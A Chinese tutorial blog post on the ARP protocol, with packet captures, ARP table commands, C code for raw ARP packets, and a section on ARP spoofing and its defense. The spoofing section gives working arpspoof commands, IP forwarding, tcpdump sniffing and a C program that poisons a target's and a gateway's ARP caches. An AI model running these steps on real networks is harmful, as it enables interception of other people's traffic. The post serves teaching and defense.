3. ARP 协议分析与实践

3. ARP 协议分析与实践

1. 概述

  • ARP(Address Resolution Protocol, 地址解析协议) : 负责将网络地址解析成对应的 MAC 地址。

  • 官方文档 : RFC826 RFC6747

1.1 ARP 报文格式

  • ARP 包分为请求包和应答包, 通过 OP 字段来区别
    在这里插入图片描述
# 发送 ARP 请求包
arping -I eth0 192.168.2.200

# ARP 请求抓包
sudo tcpdump -nt -XX arp 'dst 192.168.2.200 or src 192.168.2.200'
ARP, Request who-has 192.168.2.200 (ff:ff:ff:ff:ff:ff) tell 192.168.2.100, length 28
	0x0000:  ffff ffff ffff 000c 0c0c 0c0c 0806 0001  ................
	0x0010:  0800 0604 0001 000c 0c0c 0c0c c0a8 0264  ...............d
	0x0020:  ffff ffff ffff c0a8 02c8                 ..........
ARP, Reply 192.168.2.200 is-at 00:0d:0d:0d:0d:0d, length 46
	0x0000:  000c 0c0c 0c0c 000d 0d0d 0d0d 0806 0001  ................
	0x0010:  0800 0604 0002 000d 0d0d 0d0d c0a8 02c8  ................
	0x0020:  000c 0c0c 0c0c c0a8 0264 0000 0000 0000  .........d......
	0x0030:  0000 0000 0000 0000 0000 0000            ............

1.2 ARP 表

  • 为了避免每次网络请求都要发送 ARP 请求, 将网络地址转换为 MAC 地址, 在每台主机中都有 ARP 缓存表,缓存表中记录了IP地址与 MAC 地址的对应关系
# 查看
arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.200            ether   00:0d:0d:0d:0d:0d   C                     eth0
192.168.2.3              ether   00:0b:0b:0b:0b:0b   C                     eth0

# 添加(-s)
sudo arp -i eth0 -s 192.168.2.200 ff:ee:ee:ee:ee:ee

# 删除(-d)
sudo arp -i eth0 -d 192.168.2.200

# 当 eth0 收到 IP 地址为 10.0.0.2 的请求时, 用 eth1 的 MAC 地址应答
sudo arp -i eth0 -Ds 10.0.0.2 eth1 pub

2. ARP 编程

2.1 arp.h

shell> cat arp.h
#ifndef __arp_h__
#define __arp_h__

#define ARP_OP_REQUEST  0x0001
#define ARP_OP_REPLY    0x0002

#define ARP_HW_TYPE_ETH 0x0001  /* 0x0001 表示以太网 */

struct arp_packet {
	unsigned short hwtype;     /* Hardware Type */
	unsigned short prototype;  /* Protocol Type */
	unsigned char  hal;        /* Hardware Address Length */ 
	unsigned char  pal;        /* Protocol Address Length (uses new value 12) */
	unsigned short opcode;     /* Operation Code (uses experimental value OP_EXP1=24) */
	unsigned char  smac[6];	   /* Sender Hardware Address */
	unsigned int   sip;        /* Sender IP Address */
	unsigned char  tmac[6];	   /* Target Hardware Address */
	unsigned int   tip;        /* Target IP Address */
}__attribute__((packed));


struct arp_packet* arp_alloc_packet(unsigned short opcode, const char* smac, 
		const char* sip, const char* tmac, const char* tip);

void arp_free_packet(struct arp_packet** packet);

#endif /* __arp_h__ */

2.2 arp.c

shell> cat arp.c
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>       // for htons
#include <netinet/ether.h>   // for ether_aton
#include "eth.h"
#include "arp.h"


struct arp_packet* arp_alloc_packet(unsigned short opcode, const char* smac, 
		const char* sip, const char* tmac, const char* tip)
{
	struct in_addr in;
	struct ether_addr *addr;
	struct arp_packet *packet;

	packet = (struct arp_packet *)calloc(1, sizeof(struct arp_packet));
	packet->hwtype    = htons(ARP_HW_TYPE_ETH);
	packet->prototype = htons(ETH_PROTO_IP); 
	packet->hal       = 6;                // 硬件地址长度 
	packet->pal       = 4;                // 上层协议长度
	packet->opcode    = htons(opcode);

	addr = ether_aton(smac);	
	memcpy(packet->smac, addr->ether_addr_octet, sizeof(addr->ether_addr_octet));

	inet_aton(sip, &in);
	packet->sip = in.s_addr;

	addr = ether_aton(tmac);	
	memcpy(packet->tmac, addr->ether_addr_octet, sizeof(addr->ether_addr_octet));

	inet_aton(tip, &in);
	packet->tip = in.s_addr;

	return packet;
}

void arp_free_packet(struct arp_packet** packet)
{
	if (NULL != packet && NULL != *packet) {
		free(*packet);
		*packet = NULL;
	}
}

2.3 main.c

shell> cat main.c
#include <stdio.h>
#include <string.h>
#include "eth.h"
#include "arp.h"

#define IFACE_NAME "eth0"
#define DEST_IP    "192.168.2.200"      /* 目标 IP */
#define SRC_IP     "192.168.2.100"      /* 本机 IP */
#define SRC_MAC    "00:0C:0C:0C:0C:0C"  /* 本机 MAC */
#define DEST_MAC   "FF:FF:FF:FF:FF:FF"  /* 广播地址 */

static void eth_send_test(const char *dest_mac, const char *src_mac, 
		unsigned short proto, const void *data, size_t size)
{
	int sockfd;
	struct eth_frame *frame;

	sockfd = eth_socket(IFACE_NAME);

	frame = eth_alloc_frame(dest_mac, src_mac, proto, data, size);
	eth_send(sockfd, frame, sizeof(struct eth_frame) + size, 0);

	eth_free_packet(&frame);	
	eth_close(sockfd);
}

static void arp_request_test()
{
	struct arp_packet *packet;
	packet = arp_alloc_packet(ARP_OP_REQUEST, SRC_MAC, SRC_IP, DEST_MAC, DEST_IP);

	eth_send_test(DEST_MAC, SRC_MAC, ETH_PROTO_ARP, packet, sizeof(struct arp_packet));
	arp_free_packet(&packet);
}

int main(int argc, char *argv[])
{
	arp_request_test();
	return 0;
}
192.168.2.100> make run

192.168.2.200> sudo tcpdump -nt -i eth0 -XX arp
ARP, Request who-has 192.168.2.200 (ff:ff:ff:ff:ff:ff) tell 192.168.2.100, length 46
	0x0000:  ffff ffff ffff 000c 0c0c 0c0c 0806 0001  ................
	0x0010:  0800 0604 0001 000c 0c0c 0c0c c0a8 0264  ...............d
	0x0020:  ffff ffff ffff c0a8 02c8 0000 0000 0000  ................
	0x0030:  0000 0000 0000 0000 0000 0000            ............
ARP, Reply 192.168.2.200 is-at 00:0d:0d:0d:0d:0d, length 28
	0x0000:  000c 0c0c 0c0c 000d 0d0d 0d0d 0806 0001  ................
	0x0010:  0800 0604 0002 000d 0d0d 0d0d c0a8 02c8  ................
	0x0020:  000c 0c0c 0c0c c0a8 0264                 .........d

3. ARP 攻防

3.1 ARP 欺骗

  • 攻击者通过发送伪造的 ARP 报文,恶意修改网关或网络内其他主机的ARP表项,造成设备网络报文转发异常
3.1.1 使用 arpspoof 实现 ARP 欺骗
# 1. 正常情况下, 目标机 ARP 表, 192.168.2.3 是网关
192.168.2.200> arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
192.168.2.3              ether   00:0b:0b:0b:0b:0b   C                     eth0

# 2. 修改目标机网关 MAC 地址为攻击者 MAC 地址, 让原本发给网关的数据, 发给攻击者
192.168.2.100> sudo arpspoof -i eth0 -t 192.168.2.200 192.168.2.3
0:c:c:c:c:c 0:d:d:d:d:d 0806 42: arp reply 192.168.2.3 is-at 0:c:c:c:c:c
0:c:c:c:c:c 0:d:d:d:d:d 0806 42: arp reply 192.168.2.3 is-at 0:c:c:c:c:c

# 3. 查看修改结果, 目标机上网关 MAC 地址被修改为攻击者 MAC 地址了
192.168.2.200> arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
192.168.2.3              ether   00:0c:0c:0c:0c:0c   C                     eth0

# 4. 正常情况下, 网关 ARP 表中 192.168.2.200 的 MAC 地址是 00:0d:0d:0d:0d:0d
192.168.2.3> arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
192.168.10.2             ether   00:50:56:f1:c4:46   C                     eth1
192.168.2.200            ether   00:0d:0d:0d:0d:0d   C                     eth0

# 5. 修改网关目标机 MAC 为攻击者 MAC 地址, 让原本响应给目标机的数据, 也发给攻击者
192.168.2.100> sudo arpspoof -i eth0 -t 192.168.2.3 192.168.2.200

# 6. 查看修改结果, 目标机 MAC 地址被修改为攻击者 MAC 地址了
192.168.2.3> arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
192.168.10.2             ether   00:50:56:f1:c4:46   C                     eth1
192.168.2.200            ether   00:0c:0c:0c:0c:0c   C                     eth0

# 7. 攻击机器开启路由转发功能
192.168.2.100> echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# 8. 监听目标机的流量
192.168.2.100> sudo tcpdump -i eth0 -nt -XX ip host 192.168.2.200

# 9. 目标机请求网络(将被监听)
192.168.2.200> ping baidu.com
3.1.2 ARP 欺骗防守
  • 利用 ARP 静态映射的表项, 加载后无法修改的特点, 防止 ARP 表被非法篡改
# 静态映射
echo '192.168.2.3 00:0b:0b:0b:0b:0b' | sudo tee -a /etc/ethers
sudo arp -f                                               # 默认读取 /etc/ethers 文件
echo '/usr/sbin/arp -f' | sudo tee -a /etc/rc.d/rc.local  # 开机自动映射 

# 查看映射结果(网关的 Flags Mask 中的 M 表示静态映射)
arp -vn
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.2.3              ether   00:0b:0b:0b:0b:0b   CM                    eth0
192.168.2.100            ether   00:0c:0c:0c:0c:0c   C                     eth0
3.1.3 ARP 欺骗编码实现
shell> cat main.c
#include <stdio.h>
#include <string.h>
#include "eth.h"
#include "arp.h"

#define IFACE_NAME "eth0"

static void eth_send_test(const char *dest_mac, const char *src_mac, 
		unsigned short proto, const void *data, size_t size)
{
	int sockfd;
	struct eth_frame *frame;

	sockfd = eth_socket(IFACE_NAME);

	frame = eth_alloc_frame(dest_mac, src_mac, proto, data, size);
	eth_send(sockfd, frame, sizeof(struct eth_frame) + size, 0);

	eth_free_packet(&frame);	
	eth_close(sockfd);
}

static void arp_reply_test(const char *src_mac, const char *src_ip, 
                           const char *dest_mac, const char *dest_ip) 
{
	struct arp_packet *packet;
	packet = arp_alloc_packet(ARP_OP_REPLY, src_mac, src_ip, dest_mac, dest_ip);

	eth_send_test(dest_mac, src_mac, ETH_PROTO_ARP, packet, sizeof(struct arp_packet));
	arp_free_packet(&packet);
}

static void arp_spoofing() 
{
	{
		// 欺骗目标机
		const char *src_ip   = "192.168.2.3"; 		
		const char *src_mac  = "00:0c:0c:0c:0c:0c";		
		const char *dest_ip  = "192.168.2.200"; 		
		const char *dest_mac = "00:0d:0d:0d:0d:0d"; 		
		arp_reply_test(src_mac, src_ip, dest_mac, dest_ip);	
	}

	{
		// 欺骗网关
		const char *src_ip   = "192.168.2.200"; 		
		const char *src_mac  = "00:0c:0c:0c:0c:0c"; 
		const char *dest_ip  = "192.168.2.3"; 		
		const char *dest_mac = "00:0b:0b:0b:0b:0b"; 		
		arp_reply_test(src_mac, src_ip, dest_mac, dest_ip);	
	}
}

int main(int argc, char *argv[])
{
	arp_spoofing();
	return 0;
}

# 开启路由转发功能
192.168.2.100> echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# 监听目标机的流量
192.168.2.100> sudo tcpdump -i eth0 -nt -XX ip host 192.168.2.200

# 重复执行, 防止 ARP 表恢复正常 
192.168.2.100> watch make run

# 目标机请求网络(将被监听)
192.168.2.200> ping baidu.com

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值